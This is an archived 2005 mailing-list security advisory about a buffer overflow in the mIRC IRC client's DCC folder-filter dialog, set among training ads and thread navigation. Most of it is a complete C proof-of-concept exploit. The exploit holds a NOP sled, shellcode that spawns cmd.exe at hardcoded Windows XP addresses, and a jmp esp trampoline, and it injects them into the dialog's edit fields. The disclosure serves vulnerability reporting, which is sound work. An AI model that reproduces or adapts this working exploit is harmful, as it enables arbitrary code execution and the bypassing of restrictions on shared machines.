Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | mIRC buffer overflow |
|---|---|
| Date: | Tue, 20 Dec 2005 13:11:50 +0100 |
- 1 - Introduction
Written by Khaled Mardam-Bey, mIRC is a friendly IRC client that iswell
equipped with options and tools.
- 2 - Vulnerability description
Tested on mIRC 6.16,6.12,6.03 and 5.91, all result vulnerable.Possibly all mIRC
versions are vulnerable.The code executed are with current user
privileges,anyway this bugcould be dangerous in universities,cyber coffees,
schools and any location with restrictions.Adding/editing filters to locate the
specified folder for the filestransfered by DCC if insert a string greateror
equal to 981 bytes the application crash showing an memory error 0x0000.This
0x0000 error it's because shows the value of the second editfield and it's
empty, if write AAAA in this field,the error it's 0x41414141, overwrite the eip
and can take the controlto execute arbitrary code.To execute code appears a
little problem, only can write 39chars inthe second edit, this problem
imposibilite inserta good shellcode, to fix this, can put jmp esp + sub esp
0x74 + jmpesp, with this, the EIP it's overwrited by the textin the first edit
field, and in this have 980bytes for the shellcode.
- 3 - How to exploit it
This PoC open a cmd.exe,also it's possible execute any other code.
----------- CUT HERE ----------------------/*mIRCexploitXPSP2eng.cVulnerability
tested on Windows XP SP1,SP2 Spanishand Windows XP SP2 English
This PoC it's for XP SP2 English, for spanish readers:
XP SP1system: 0x77bf8044jmp esp: 0x77E29BBB (advapi32.dll)
XP SP2system: 0x77bf93c7jmp esp: 0x77E37BBB (advapi32.dll)
Special thanks to rojodos (very great your tutorial),jocanor, otromasf,
crazyking and gandalfj.*/
#include <stdio.h>#include <stdlib.h>#include <windows.h>
int main () {HWND lHandle, lHandledit, lHandledit2;char strClass[30];char
shellcode[999]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x55""\x8B\xEC""\x33\xFF""\x57""\x83\xEC\x04""\xC6\x45\xF8\x63""\xC6\x45\xF9\x6D""\xC6\x45\xFA\x64""\xC6\x45\xFB\x2E""\xC6\x45\xFC\x65""\xC6\x45\xFD\x78""\xC6\x45\xFE\x65""\x8D\x45\xF8""\x50""\xBB\xc7\x93\xc2\x77""\xFF\xD3""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90""\x90\x90\x90\x90\x90\x90\x90\x90\x90";
//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 77c293c7(WinXP Sp2
English)
char
saltaoffset[]="\xD6\xD1\xE5\x77\x90\x90\x90\x90\x90\x83\xEC\x74\xFF\xE4\x90\x90";//
jmp esp 0x77E5D1D6 (advapi32.dll) , sub esp 0x74, jmp esp
lHandle=FindWindow(NULL, "DCC Get Folder");
if (!lHandle){printf("\nCan't find mIRC DCC Get Folder Dialog :\nIn
mIRCOptions/DCC/Folders push ADD\n");return 0;}else{ printf("handle for mIRC
DCC Get Folder Dialog : 0x%X\n",lHandle); }
SetForegroundWindow(lHandle);lHandledit = FindWindowEx(lHandle, 0, "Edit",
0);printf("handle for First Edit : 0x%X\n",lHandledit);printf("ASCII Shellcode
in first edit : %s\n", shellcode);SendMessage(lHandledit,
WM_SETTEXT,0,(LPARAM)shellcode);
lHandledit2 = GetWindow(lHandledit, GW_HWNDNEXT);GetClassName(lHandledit2,
strClass, sizeof(strClass));
while ( lstrcmp(strClass,"Edit") ){lHandledit2 = GetWindow(lHandledit2,
GW_HWNDNEXT);GetClassName(lHandledit2, strClass, sizeof(strClass));}
printf("handle for Second Edit : 0x%X\n",lHandledit2);Sleep(500);printf("ASCII
Shellcode in second edit : %s\n", saltaoffset);SendMessage(lHandledit2,
WM_SETTEXT,0,(LPARAM)saltaoffset);Sleep(500);SendMessage (lHandledit2,
WM_IME_KEYDOWN, VK_RETURN, 0);}
----------- CUT HERE ----------------------
- 4 - Solution
I contacted with khaled in khaled@mirc.com reporting the bug on29/11/2005
without response.Contacting again with this advisory.
- 5 - Credits
URL Vendor: www.mirc.comAuthor: Jordi Corrales ( crowdat[at]gmail.com )Date:
09/12/2005
Spanish and English Advisory:
http://www.shellsec.net/leer_advisory.php?id=9Spanish Advisory and Compiled
Spanish Exploit:http://www.cyruxnet.org/mirc616_bug_exploit.htm
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [Security-Advisories@acs-inc.com: [Full-disclosure] [ACSSEC-2005-11-25-0x1] VMWare Workstation 5.5.0 <= build-18007 G SX Server Variants And Others], Andrew Griffiths |
|---|---|
| Next by Date: | [KAPDA::#17] - beehiveforum Script Injection, alireza hassani |
| Previous by Thread: | [Security-Advisories@acs-inc.com: [Full-disclosure] [ACSSEC-2005-11-25-0x1] VMWare Workstation 5.5.0 <= build-18007 G SX Server Variants And Others], Andrew Griffiths |
| Next by Thread: | [KAPDA::#17] - beehiveforum Script Injection, alireza hassani |
| Indexes: | [Date] [Thread] [Top] [All Lists] |